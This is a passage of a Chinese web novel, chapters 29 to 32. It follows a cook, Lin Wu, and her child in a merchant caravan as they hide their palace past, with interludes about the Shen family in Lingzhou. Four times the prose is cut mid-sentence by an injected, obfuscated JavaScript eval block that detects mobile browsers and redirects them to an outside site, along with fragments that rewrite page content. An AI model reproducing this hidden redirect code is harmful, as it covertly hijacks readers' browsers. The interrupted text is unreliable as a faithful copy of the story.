痦子大娘还想理论，可瞧着人已走远，一口气堵在胸口不上不下，气得抄起汤勺狠狠地敲在锅沿上。 “呸！良心都叫狗吃了！”她坐回灶前，一肚子火，嘴里正嘀嘀咕咕地骂得起劲儿时，抬眼瞧见一个带着孩子的年轻妇人朝这边走来。 29. 第 29 章 “大娘，”那妇人拉着孩子，脸上堆着笑，“搅扰您了。我瞧您这儿生了火，能不能借个灶头，给孩子热热饼子？” 痦子大娘正在气头上，斜眼将她上下打量了一番：“怎么，占便宜占到老娘头上来了？出门在外，连个生火的家伙都不备？没力气就去前头食店，没钱就去林子里捡几根柴火自个儿生去！” 她似又忽然想到了什么，语气越发刻薄：“哦——我当是谁呢！你今儿个不是上赶着去巴结锦程行那厨娘了吗？怎么，是她差遣你过来，看老娘我的笑话是吧？” “大娘，您这可是冤死我了！我出门匆忙，实在没来得及置办这些家伙，孩子饿得直哭，我也是实在没法子了，才舍下这张脸来求您。我瞧着您面善，定是个热心肠，才敢开这个口。”赵三娘说着，眼圈就红了，抬手用袖子擦了擦眼角。 接着，她又话锋一转，声音里带着些委屈：“晌午时，我确是去找了那位林厨娘。我想着，她也带着孩子，总能体谅我这为娘的苦心，便想用我们带的几个细面饼，换她一个给孩子的小炊饼。她不愿也就罢了，谁知、谁知她还夹枪带棒地数落了我一顿，说我不懂规矩，想害她丢了饭碗！这、这实在是让人臊得慌……” 听到“细面饼”，痦子大娘的目光落到她手上提着的布袋，又仔细打量了她一番。这妇人虽面带风尘，但可见容貌周正，衣裳虽是粗布料子，但瞧着新簇簇的，她那孩子看着瘦弱，那身麻布短褐却是合身的，领口还能看到里头是绣花的绢料子。 “哼！她？”痦子大娘收回眼神，继续搅着那锅寡淡的酱菜汤，“那林厨娘原先在脚店时，也是个吃了上顿没下顿的破落户，如今攀上了锦程行，眼睛怕是都长到头顶上去了！她何止是瞧不上你，连我这个当初想拉她一把的老婆子，她一样瞧不上！” 赵三娘抹泪的动作微微一顿，抬起眼，试探着问：“听大娘这话，您和她之前有些过节？” “我和她能有什么过节！”痦子大娘拔高声音否认，但身体却侧了侧，让出灶台的位置，“喏，就剩这点火星子了，你手脚快些，能热就热吧，我瞧这孩子可怜。” “哎！多谢大娘！我就知道您心善。”赵三娘脸上立刻堆起热切的笑容，连声道谢。 她利落地热好饼子，先取了一个给孩子，又拿起一个掰了一半，递向痦子大娘：“大娘，您也尝尝，一点心意，您千万别嫌弃。” 痦子大娘毫不客气，迅速伸手接过，一把塞进嘴里，含糊不清地说：“客气啥，出门在外的，能搭把手就搭把手。” 热饼下了肚，她的话匣子也打开了，愤愤不平地数落起来：“当初在乌仓县脚店，我看她孤儿寡母可怜，又同是去凌州，好心想着捎带她们一程。谁承想，好心当了驴肝肺！她瞧不上我们这小庙便算了，还牙尖嘴利地把我挤兑了一番，真真是狗咬吕洞宾！” 赵三娘露出惊讶神色，接口道：“天爷啊，我还以为是自个儿哪里做得不妥，才招了她不待见。原来对着您这样心善的老人家，她也是这般……” 这边两人聊得热络。作为话题中心的林芜也吃完了晡食，只是这般咸重的口味留在舌尖，反倒勾起了她对甜食的念想。 待后厨一应收拾停当，她便取了些赤豆用清水泡上，预备着明日的安排。 夜色渐深，营地篝火噼啪，还可听见守夜的护卫低声交谈。 林芜在准备好明日事宜后，也带着林景早早歇下。 第二日，天光未亮，后厨已开始忙活。 林芜带着大家将泡发的赤豆与切块的芋魁分别上锅蒸得烂熟，然后将其碾成绵密的豆沙与软糯的芋泥，并加入少许糖液调和。 为防有人不喜甜食，她还用香葱末和咸肉末调了咸口的馅儿。 接下来，和好油面团，制成剂子，包入馅料，再轻轻擀开，放到刷了一层薄油的热锅上慢慢烙烤。 出锅！每个饼子都足有两个巴掌大，金黄酥香，分量十足。 林芜手上不停，做了许多，连晌午歇脚时充当干粮的份量也一并备齐了。 至于贵客的餐食，她又单独揉了一小团面，做了十几枚小巧的豆沙和芋泥馅儿馒头。 “这也太香了！”小赵正拿着食盒过来，一手把食盒递给林芜，一手接过一个刚出锅的豆沙饼，半点不带耽误的。他也不怕烫嘴，迫不及待地咬了一口，眼睛顿时亮了。外皮层次分明，酥脆得直掉渣，内里的豆沙却软糯甜香，恰到好处，丝毫不腻。 “昨儿晚上满嘴都是肉味儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891275|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今早来上这么一口甜的，正合适，正合适！”他一边吃，一边含糊不清地夸赞。 林景也坐在小凳上，手捧一个热乎乎的芋泥饼，曲起的腿上还放了片干阔叶，他张嘴咬下一小口，那酥皮应声裂开，簌簌碎落到阔叶上，他眼睛微微眯了眯，似乎很中意这种酥酥脆脆的口感。 他也不急着咬馅，就沿着饼子边缘，一小口一小口，认认真真地把酥皮啃了半圈。直到露出里头的芋泥，才咬下一大口，这口有酥皮又有芋泥，他满足地眯起了眼睛。 —— 马车车厢内，方谦用完了一个芋泥酥饼：“这芋魁馅儿调得好，软糯甘香，入口即化。想来若是做成馒头，口感定然更加绵软细腻，正适合牙口不好的伯父。” “巧了不是，”帘子一掀，小赵笑呵呵探进半个身子，“馒头这就给东家您送来了。” 他将一只白瓷碟搁到方谦跟前，碟中是几枚馒头，小巧圆润，皮子雪白。 “这是林厨娘单独给东家和秦老爷备的，比酥饼多蒸了一刻，方才起锅。”管事在一旁补充道。 “难为她这般细心，”方谦拿起一枚，指腹传来熟悉的松软触感，咬下一口，芋泥的甘甜在口中化开，比酥饼更显清润绵密，“果然入口即化，别有一番滋味，又是这般小巧细致模样，府上长辈和小儿定然喜爱。” 张管事闻言，回道：“待到了府上，老奴便吩咐府中的厨娘依样试做。”这馅料的妙处更多在于巧思，而非复杂的技艺，做起来应当不难。 方谦却摆了摆手：“不可。这乡下妇人，孤儿寡母，谋生不易。这点手艺兴许是她安身立命的依仗。我们岂能平白取用？若她觉得合适，便与她公平买卖，出钱买下这个方子便是。于人于己，都图个心安理得，两不相欠。” “东家仁善，是老奴思虑不周了。” 朝食时间紧凑，车队很快收拾停当，继续赶路。 待到晡食过后，张管事便差小赵将林芜唤来。 林芜正在后头帮着收拾碗盏，闻言心头一跳，这晡食一向由李三娘主持，此番独独唤她一人，所为何事？莫不是白日里何处出了差错？ 她心中惴惴，托李三娘帮忙看着林景，理了理粗布衣裙，低头跟着小赵过去。 30. 第 30 章 “林娘子，”张管事见她来了，脸带笑意，“这两日下来，商队上下都见识了你的手艺，尤其在这面食一道上，确是独具匠心。” “管事您过奖了，”林芜连忙屈身，声音拘谨，“您和东家走南闯北，什么山珍海味没见过？我这点粗笨手艺，只求不耽误大家吃饭，莫要惹人嫌弃就好。” “林娘子不必谦虚，”张管事不再客套，进入正题，“今日朝食那芋魁馅儿，绵软清甜，甚合东家心意，觉得府上长辈必定喜欢。故而唤你前来，是想问问，可否将这馅料的方子卖予我们？东家说了，只限府中私用，绝不外传，更不会碍着你日后营生。” 林芜闻言，松了口气，原来是为这事，于是当即应道：“这芋魁馅儿做法简单，想来两位帮厨师傅多看两回想必也就会了。我这几日便寻空与他们细细分说清楚，定让他们学会。” “不妥，”张管事摆手，“咱们商队行事，讲究个在商言商。既是你的手艺，岂能平白拿去？即便方子简单，也是你的东西。按市面规矩，这芋魁馅儿的方子，我们出一贯钱，娘子意下如何？” 林芜闻言有些吃惊，这价格对于一道简单馅料方子而言，堪称厚道。她推拒道：“这、这如何使得？不过是个寻常馅料……” “林娘子不必推辞。”张管事随即吩咐小赵去请账房先生前来立契。 “多谢东家与管事厚恩。”林芜连忙谢道。 在等候账房的间隙，她又细心地补充道：“管事，如今行路在外，诸物不便，这馅儿只能做到这般。若是日后在府上制作，能添少许牛乳一同搅匀，滋味会更香甜滑润些。只是需留意，有人肠胃弱，受不得牛乳，用了易致腹泻，须提前问过才好。” 一旁的小赵听了，忍不住插话赞道：“林姐，您对吃食可真是一门心思，琢磨得透透的！” 林芜局促地笑了笑：“赵小哥谬赞了。实在是景娘幼时身子弱，胃口不佳，瘦得像只猫儿，我瞧着实在心急，只能变着法儿琢磨些她肯下咽的软和食儿，这才胡乱试出些门道。” “我瞧景娘如今面色红润，胃口好得很呢。”小赵笑道。 “是哩，”林芜脸上流露出温和的笑意，“把孩子平安养大，是顶不容易，却也顶有福气的事。” 仔细将契书与银钱收好，林芜这才沿着来路往回走。 她刚到货车，早已按捺不住好奇的李三娘和几位帮厨便立刻围了上来，七嘴八舌地问道： “林娘子，张管事突然唤你去，是有什么要紧事？” “可是朝食出了什么岔子？” 林芜语气轻快地回答：“劳各位惦记了。没什么要紧事，是东家觉着今早那芋魁馅儿吃着软和适口，便让管事仔细问了做法，想着回到凌州府上，也好让府里的厨娘照着做给长辈尝尝鲜儿。” “原来如此！”李三娘恍然大悟，脸上也跟着露出笑容，感慨道，“那芋魁馅儿确实心思巧！东家真是至孝之人，在外奔波还这般惦记家中长辈，这般心性，难得啊！” “可不是嘛。”林芜应和着，心里也稍稍松了口气。 “要不说咱们锦程行是数得着的好商队呢！”一旁的帮厨师傅挺了挺胸脯，与有荣焉地高声说道，“东家仁厚，管事明理，多少人削尖了脑袋想进来谋个差事都没有门路呢！” “是哩！”李三娘闻言，再次由衷感叹，拍了拍林芜的胳膊，“这回啊，真是咱们运气好！” —— 凌州，漕运码头约莫三里外的一处宅邸。 此处是沈家在凌州的别业，远离城区，紧邻漕运码头与南下商道，既得交通之便，又闹中取静。 从外边看，与殷实人家无异，但内里却大有不同。 过了影壁，可见前院极阔，专设的车马院地面平整，边上一排库房墙体厚实、门户紧闭，瞧着井然有序，里头暂存着从湖州运来的绸缎和南崖搜罗的珍物。 这批贵重货物只在此稍作停留，待重新整理装箱后，由京城方氏锦程行接手，走最后三百里官道送入京城。 穿过前院，经垂花门，进入庭院，这里景致又全然不同。 回廊曲折延伸，院内几株耐寒的花木点缀其间，引来的活水流经假山蓄成一汪清池。此时秋意已浓，凌州城郊已是一片萧疏，这方院落却倔强地挽留了几分南方的雅致。 只是时令终究难违，院中池水已泛着淡淡的寒气。 沈观亭站在池边，长身玉立。 他身着一袭淡青素面长袍，在周围已穿上夹绵袄的仆从映衬下，显得格外清简单薄，然而身影却不见半分瑟缩，反在萧索中更显沉静挺拔。 “大少爷，”一名小厮上前，低声禀报，“方三爷的车队已从乌仓县启程了。” “嗯。”沈观亭闻声，微微颔首。 他面容俊秀，眉眼间带着几分文人的温雅，此刻正漫不经心地随手往池中撒着鱼饵，长睫微垂，看着锦鲤争食，姿态闲适。 沈观亭此番随祖父沈仲铭抵达凌州，已半月有余。 祖父虽年过半百，却依旧精神抖擞，不过已久未踏足京城周边，近年来只专注经营湖州至南崖的商路。这条线路在外人看来险阻重重，瘴雨蛮烟、险象环生。但所谓富贵险中求，凭着多年经营，沈家行走其间如鱼得水，其商队织云行在南崖商路上更是威名远扬。 而此番北上，皆因新帝登基，京中暗流涌动。他们从湖州带来的顶级锦绫，连同自南崖搜罗的珍稀，成了各路勋贵打点关系、往上进献的紧俏佳品。 也正因这趟货物价值连城，老爷子沈仲铭才难得亲自押阵，一同前来。 不过，祖父这趟究竟有几分心思放在货上，沈观亭还拿不准。 “大少爷，这鱼可真不能再喂了。”小厮凑到池边仔细一瞧，只见几尾锦鲤肚子吃得滚圆，几乎要游不动。说来，凌州这地方可真是奇了。老太爷每日雷打不动地茶摊报到，一坐就是大半晌，灌得满肚子茶水晃荡。 大少爷倒好，日日来这池子点卯，喂鱼喂得起劲儿，早也喂晚也喂，生生把几条锦鲤喂得胖若两鱼。不过还是大少爷高明，喂来喂去，圆滚滚的都是鱼肚子，横竖胖不到他自个儿腰上来。 沈观亭不甚在意，拍了拍手中残余的饵料碎屑：“听闻这是湖州独有的锦鲤，看来离了故乡的水，也吃得惯凌州的食。” 他目光落在那挤作一团的圆胖锦鲤上，语气轻缓，自顾自地接了句：“瞧着倒是没心没肺，只顾眼前饱足。” 高明的沈观亭大少爷，连池里的锦鲤都得点评挤兑两句。 “想来鱼儿没那般挑剔，”小厮挠头笑道，“它们吃的饵料，总归不像人的饭食花样百出。就像白粥米饭，无论在凌州还是湖州，不都一个样么？” “差得远了。”沈观亭语意模糊地应了一句，也不知他这“差”是指眼前贪食的胖锦鲤还是凌州，或是别的什么。他不再多言，转身缓步走向凉亭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896012|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他行走间，那身看似素净的淡青长袍上，在阳光下隐约泛起一层叶片脉络般的暗纹浮光，远看清雅质朴，近观华美雅致。 他倚着围栏坐下：“从乌仓县过来，少说还得五六日。看来祖父还得在此地盘桓一阵。他今日又去哪儿寻自在了？” “老太爷刚从街角的茶摊回来，”小厮语气带着几分无奈，“说来也怪，老太爷初到凌州，看什么都不顺眼，做什么都不顺意，嫌天干、嫌树秃、嫌菜咸，偏偏就对那些个粗茶破凳情有独钟。”他实在不解，为何能在荒山野岭枕石而眠的老太爷，到了这繁华凌州反倒处处挑剔，难以将就。 沈观亭闻言，眼中似漾起一丝涟漪，起身往茶厅走去。 “观亭来得正巧，”沈仲铭正端着茶杯，见大孙子进来，立刻扬声道，“方才我去东街转了转，竟瞧见个湖州来的食摊，卖的是香菘豆腐羹。那摊主手艺地道，汤头清鲜，正是湖州的味儿。可比凌州动辄又咸又油的菜色顺口多了！” 沈观亭瞧他手中除了一杯茶已别无他物，这“正巧”二字也不知从何说起，于是道：“多谢祖父惦念。若下回顺手，替孙儿也捎上一份便更好不过了。” “你懂什么？这羹就得蹲在摊子边上，捧着碗趁热吃才够味！整日缩在这宅子里头，出去街巷走走，还能累着你不成？”面对大孙子的阴阳怪气，沈仲铭老爷子理不足气也壮。 “孙儿怎比得上祖父逍遥？不是去茶摊听书闲聊，便是四处寻访家乡风味，瞧着比在湖州时还要自在。”沈观亭撩袍坐下，执起茶盏浅啜一口。 “那还能作甚？闲出屁来了！”沈仲铭将茶碗往桌上一搁，“方家小子还得五六日才到，磨磨蹭蹭，京城那帮人做事就是不利索。” “这回您可错怪三表叔了，”沈观亭懒懒地靠向椅背，“如今京城正是热闹的时候。一面是新帝登基，普天同庆，锣鼓喧天；一面又是旧臣倒台，抄家的抄家，流放的流放。听闻东宫前些日子走了水，一把火烧得干净，天师却道是天光洗尘，为新帝助威。这般热闹，表叔不得多看几眼再动身？” 沈仲铭抬眸，意味深长地瞥了他一眼：“你小子平日大门不出二门不迈，消息倒比我这天天泡茶摊的还灵通。” “这哪用得着特意打听？莫说凌州，怕是远在湖州的小弟都已知晓。孙儿还以为，祖父日日流连茶摊，是偏爱那口粗茶，原来是听热闹去了，”沈观亭语气淡然，随即话锋一转，“也是，毕竟那位顾郡公……可是您的老对头了。” 沈仲铭闻言，沉吟片刻，才低叹一声：“是啊，老对头了。” 他离朝十余载，一心扑在家业上，儿孙皆以行商立身，早与官场断了干净。如今再闻故人消息，也不过与茶摊里听书的百姓无二，把这一桩桩朝中巨变当作茶余饭后的闲谈罢了。 “那位少傅是太子近臣，首当其冲被问罪；顾郡公是太子岳家，更是难逃一劫。如今二人连同成年子嗣皆已伏诛，其余亲眷仍在狱中，不日便将流放千里……”沈观亭话音渐低，目光从茶盏缓缓移向对面的祖父，“只是不知，是流往塞北，还是南崖。” “往北往南，皆是五千里开外。队伍里多是老弱妇孺，路上就得折损大半，到了地方还能剩下几个？”沈仲铭摇了摇头，“无论去哪条路，走的都是黄泉路，没分别了。” 沈观亭指腹轻轻摩挲着温热的杯壁，神色平静如常，仿佛只是随口一提：“无论南北，倒都是沈家熟悉的地界。” 31. 第 31 章 行路的日子确实不好过，今日入了夜，秋寒骤起。 好在商队寻了处遮风的地儿扎营，后厨生起火来，才暖和了不少。 晡食做的是咸肉菘菜焖饭。咸肉切成小丁，与提前泡发好的蕈菇、笋干一同下锅煸炒出香，待油脂渗出，再加上切碎的菘菜，一同倒入装着粳米的大锅中，添上提鲜的黄豆酱和水，盖上锅盖焖煮。 开锅。可见米粒吸了咸肉的油润与蕈蔬豆酱的汁水，油光锃亮，香气扑面而来。 队里的护卫伙计们围拢过来，人手一只大碗，李三娘和帮厨们趁着热气，用大勺给每人盛得满满当当。 而林芜这边，还在照看着一小锅粥。 “有劳林娘子费心了。”秦啸山的老仆周管事在一旁客气说道，他约莫四十来岁，穿着齐整，瞧着有些严肃。 林芜猜测他多半是秦老爷身边得力的管事，而非寻常仆从。 “管事您客气了，这都是分内的事。”林芜温声应着，缓缓搅着瓷罐里的粥。 这是一锅粟米干贝粥。用的周管事带来的上好干贝，用温水泡开后，仔细撕成茸，加到粟米中，用文火熬煮。 林芜看着罐子里米粒开花，粥油稠厚，便撒入菘菜末，再点几滴清酱提色，盖上盖子又煮了片刻，再揭开盖，便可见粥色金黄透亮，漫出干贝特有的清甜鲜香。 “还望管事莫介意，”她小心地往瓷碗里舀粥，声音有些局促，“妇人没用过这般好的干贝，只按着往日煮肉糜野菜粥的法子来做，若是不合口味，还请您和秦老爷多包涵。” 周管事还未答话，后头便传来了浑厚带笑的声音。 “林娘子谦虚了。老夫远远闻见这股粥香，脚下便不听使唤了。”秦啸山踱步而来，停在灶边。 林芜起身行礼：“秦老爷安好。” 秦啸山不似方谦那般坐得住，商队歇脚时，常爱出来四处走动活动筋骨。方才见周管事在这边守着，便信步过来瞧瞧。瞧眼前这年轻妇人，想来便是那细心妥帖的林厨娘。 “林娘子客气了，听你这口音，倒似京畿一带的，是乌仓县人？”秦啸山似随意问道。 乌仓县邻近京城，口音确有相似。但秦啸山早年在殿前司当差的时日不短，近些年又走南闯北，耳朵尖得很。眼前这妇人的吐字语调，与其说像乌仓县，不如说更像京城里的，甚至隐约透着点宫中的影子，端端正正、规规矩矩的。 他再看向林芜的目光，不免带上了打量。 林芜轻轻点头，想起小赵提到这位秦老爷是乌仓县货栈的东家，此时听他这么一问，神经不由得绷紧。毕竟她这胡编乱造的身份经不起细究。好在她方才只应了一句，应当还未露出太多痕迹。 她面上神色未变，口音却自然而然地有了些不同，拘谨回道：“妇人在乌仓县下的村子，平日少有进城。这几日跟着商队，听大伙儿天南地北地说话，自己这张嘴也跟着乱了，怕是学成了个四不像，倒叫老爷见笑了。” 方家的根基在京城，商队中的护卫伙计也多来自京城，这解释应当也说得过去。 但她到底还是额角有些冒汗。说话犹如呼吸，常常脱口而出，难以时时注意伪装。而她自小又在宫中生活，甚少接触外界，连个模仿对象都没有。这几日，还是得跟着商队多留意学习才行。 秦啸山见她面色拘谨，话音怯懦，不免暗笑自己多事。 如今庙堂之上尚且乌烟瘴气，他一个早已离了是非地的商人，何必自寻烦恼？就算眼前人真是京里的逃奴逃犯，只要不往他的餐食里头下毒，又与他何干？倒显得自己在这儿咄咄逼人，像成心刁难一个走投无路的寡妇。 这般想着，他语气也缓了几分，顺着她的话道：“商队走南闯北，队里大家伙也来自天南海北，口音口味皆有不同，确实需要适应。不过，老夫看林娘子不似常在外奔波之人，怎会选了这跋涉辛苦的活计？” 林芜语气有些苦涩：“只因家中变故，难以立足，这才无奈带着孩子往凌州去，寻我大兄谋条生路。” 秦啸山听罢，瞧这妇人一身半旧不新的衣裳，皮肤晒得黝黑，一看便知日子过得苦，这模样确与乡野村妇身份相符。 “原来如此，不过林娘子既有这般好手艺，何苦舍近求远？老夫在乌仓县的货栈正缺厨娘，你若愿意，待这趟事了，便可直接来应工。”他又直言道。话虽如此说，他心里却隐约觉着，这妇人怕是不会应下。 林芜闻言，脸上一喜，随即又垂下眼睫，叹了口气：“多谢老爷赏识，妇人感激不尽。只是……婆家那边尚有几位族亲，往日有些纠缠未清，就怕有幸在您这儿得了差事，他们三天两头上门搅扰，没得坏了货栈名声，更扰了老爷的清静。此番离乡，也是想彻底断了那边的念想。凌州虽远，却有我嫡亲的兄长可以倚靠，盼能给孩子求个安生。” 秦啸山心道果然，不过见她神色苦涩，言辞恳切，便也颔首：“凌州若有机缘，亦是好事。” 瞧着秦啸山与提着食盒的周管事转身离开的背影，林芜这才松了口气。但额汗被吹干后，留下的冷意却令她心里发凉。 方才秦老爷目光里那番变化，她是隐约察觉了的。从最初的审视，到后头不知什么缘故又缓缓敛起的探究，这番转变并没有刻意隐藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901955|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但好在并无恶意。 她总觉得不是自己瞒天过海了，而是对方不计较了。 她又复盘了一下两人方才的对话，除了开头那就问好的口音……应该没有错漏吧？不过一个穷苦妇人拒绝了货栈的好差事本就反常。 林芜心下叹了口气，只能自我安慰，左右不过同路这几日，一到凌州便各奔东西，往后未必再有交集。 总之，往后还是处处都得小心，尽量避开那些有身份的人物，一不小心叫人看出了破绽，自个儿露了马脚，也不知道要绞尽脑汁编多少谎来圆。 —— 忙完灶上的活计，总算能歇一会儿。在这转凉的秋夜，一碗热腾腾香喷喷的焖饭下肚，饱肚又暖胃。 伙计们照旧在一旁热热闹闹地谈天说地。 “要我说，林娘子的手艺着实非凡，秦老爷竟也起了招揽之心。” 林芜一听，连忙接话：“小哥说笑了，只是秦老爷需用些温补脾胃的餐食，而我又恰巧早年因自家孩子肠胃弱，胡乱琢磨过几样粥羹面食，实在是机缘巧合罢了。若是那些正经的大荤硬菜，我可是半窍不通的。” 她笑着解释，眼下可万万不敢露风头。 “林娘子莫要过谦，凭您和李三娘这手艺，往后若在凌州或是乌仓县支个食摊，保管客似云来。” “是哩！不如就在凌州，我定日日去捧场。” 小赵也笑着凑趣：“算我一个，保管把摊子前的板凳坐穿。” 林芜摇头轻笑：“这饭香多半是仗着咱们商队舍得用好料。咸肉腌得透，干货品质好，任谁来做都差不了。” “这话不假，也就锦程行才能让咱们这么挥霍，咱们平日里有米饭吃便是顶好的日子了，更别说这么实在的咸肉饭。谁曾想咱们这趟享福来了。”李三娘原本瞧着秦老爷独独招揽林芜，心里有些不是滋味，方才一听她那么说，倒确是机缘巧合，便也跟着感叹道。 “可不是跟着东家享福了。”众人笑着应和。 林景也捧着自己的小木碗，坐在一旁矮凳上小口吃着。他吃得很认真，小木勺每一口的份量都舀得刚刚好，送入口中，细嚼慢咽吃完一口再一口，也绝不会有米粒从碗勺遗漏出来。 他那斯文秀气的小模样，在这一片喧闹中显得尤为安宁。 “哟，你们瞧瞧小景娘吃饭多斯文，”李三娘眼尖，笑着指过来，“跟我家那几个抢饭的皮猴子真真不一样。” 一旁的小赵也扭头看去，脱口接道：“我瞧着比东家府里的小娘子还讲究些。” 林景闻言，举着勺子的小手一顿，睫毛轻轻颤了颤。 32. 第 32 章 林芜神色如常，摸了摸他的小脑袋，轻声道：“景娘幼时肠胃弱，大夫特地叮嘱要细嚼慢咽，不然容易积食。这些年习惯了，让大家见笑了。” “这有啥可笑的，细嚼慢咽才好，你们这帮猴崽子都学学！一个个跟饿死鬼投胎似的，糟蹋粮食又伤身！”一位年纪大些的护卫笑骂道。 “就是！小赵你胆儿肥了啊，敢编排东家小娘子？若是让管事听见，指定不饶你！”又有护卫接着打趣。 话题被轻巧地带偏，众人笑闹起来。 林景松了口气，又低下头，接着把小碗中的焖饭小口小口吃完。 只是心里到底还是隐隐有些不安，他并未真正见过寻常人家的孩子，也不知道他们的行为举止该是什么模样的。 他垂着眼，余光却悄悄看向那几个护卫伙计。 他们吃得那样快，边扒饭边说笑，吃完随手把碗筷一撂，偶尔颊边沾了饭粒也浑不在意，随手一抹了事。 他伸出手指，将自己原本摆得端端正正的小木碗和勺子戳歪了一些。歪了歪脑袋，是不是有点像了？随即又忍不住想，自己是不是和旁人太不一样了？ 他有些忧愁地托着腮，看着自己摆得歪歪的小碗和勺子。 这附近几个商队也少有像他这般年纪的孩子，他又转头看向坠在后边的小商队。 痦子大娘所在的商队，倒是有两个孩子，正互相推搡叫嚷着追跑，扬起一小片尘土。 吵吵闹闹的，林景小朋友撇了撇嘴。 他的视线慢慢移动，落到那个正在跟痦子大娘说话的年轻婶子身上。那婶子早先带着孩子来找他们换饼子，是个觊觎他们饼子的人。 想到这里，林景抿了抿嘴，目光滑向她身旁那个一直安安静静的女童。 她看着比他矮小半头，像园子里没晒足日头的小草，焉巴巴的，一直低着头，几乎缩在那婶子的影子里。 那孩子似乎察觉到了，抬头露出一张寡黄的小脸，唇色很淡，脸上也没什么血色，那双不大的眼睛沉沉地望过来，却不是看林景的脸。 她的视线落在锦程行热热闹闹的后厨，打量着冒着热气的锅灶，还有不远处宽敞体面的马车。然后，目光慢慢挪回来，落在林景面前那已经空落落的小碗上。 她又猛地扭回头，将脸埋进赵三娘的怀里。 正说话的赵三娘被这动静打断，循着女儿刚才的视线，见是林景。她神色温和，嘴角弯起，露出友善的笑容，对着他点了点头。 林景面无表情地收回目光。 那婶子的友善神色，还有那女童阴沉的打量，这种表里不一的搭配他有点熟悉。 似以往在宫中，伪善的王叔和王叔母，疏离的堂兄。 林景只是疑惑，王叔与父王向来不和。而他自个儿虽年岁小，却是父王膝下唯一的子嗣，因此碍了不少人的眼。那些堂兄也就素来瞧他不顺眼，仿佛他不该出生，无端端来夺走了原本属于他们的东西。 可眼前这对母女呢？自己与她们素不相识，更无恩怨。他们怎么这般？难道是因为先前没给他们换饼？ 林景忽然模糊地意识到，原来，无论宫墙内外，人并没有什么不同。 宫里宫外都有各式各样的人，细看之下，每个人都有各自的心思、各自的处境。可无论到了何处，只要是有人的地方，又能在陌生的脸上看到熟悉的神色，所以也都没什么特别。 除了似无事不能周全的林芜，还有贤明宽和的父王、温柔端庄聪慧的母妃。 想到这里，眼睫轻颤，垂下了眼帘。 他伸出手，把那歪歪扭扭的小勺子摆正。 —— 用完晡食，林芜便和大家一同拎着锅碗瓢盆到附近的溪边刷洗。 此时溪边颇为热闹，各支商队不少人马都挤在此处，涮洗的涮洗，饮马的饮马。 林芜寻了处空位蹲下，扎起袖子，将碗浸入溪水中，便开始清洗。 许是身上揣着秘密，她对人们的目光警觉了许多，期间她总觉得有不少隐晦的视线落在自己身上。她心头一紧，面上却不露分毫，只当未察，动作利落地洗着碗。 不多时，一个穿着干净利落的妇人便凑到她旁边蹲下，不远处还站着一个身材敦实的汉子，目光不时扫到这边。 那妇人一边搓洗着几个小碗，一边压低了声音搭话：“这位嫂子，请教一下，您可是锦程行的林厨娘？” 林芜手下动作未停，头也没抬，只轻轻“嗯”了一声，算是回应。 心中却思忖着，自己这无名小卒的名头怎会传开？总不会是因这几日商队伙食改善，伙计们吃得满意，闲谈时提及她这个厨娘？ 那妇人见她态度疏离，也不恼，脸上堆着笑自顾自说下去：“嫂子别见怪，我姓王，是个绣娘，曾在京城的绣坊学过几年手艺，自觉这针线活儿还拿得出手。我当家的是个车把式，也懂些木工。我们这回是随别的商队去凌州探亲，没成想能和锦程行同行，真是缘分。” 她一口气报完家门，话锋一转：“我们夫妻俩手艺是有的，就是苦于没有门路。听说锦程行待人宽厚，您看能否帮着在管事面前美言几句，引荐一下？” 林芜心下明了，原来是来找门路的。 她一边将洗好的碗放进网兜，一边有些惶恐地应道：“王嫂子这可难为我了。我也就是个临时帮厨的，人微言轻，哪儿有本事帮人引荐？管事们的事，哪是我能插上话的。” 王绣娘浑不见外，伸手就帮着收拾，声音压得更低：“嫂子，您这就是谦虚了。谁不知道您在张管事跟前份量重。左右不过是一句话的功夫，我们也不是那不懂事的人，断不会让您白忙活。”她话音刚落，便借着将碗放入网兜的遮掩，将一块碎银迅速塞向林芜手中。 林芜心下骇然，手腕像被火烫到一般，猛地一缩，那碎银“叮当”一声，落到了碗中。 “嫂子，这可使不得！”她声音微微发颤，“锦程行若要招工，自有章程告示。我也是循着告示应聘来的，后厨的另一位厨娘也是如此。您可莫要为难我了。” 她察觉到四周探究的目光愈发集中，但还是强自镇定，捡起那粒碎银塞回妇人手中，手下又加快速度，将洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 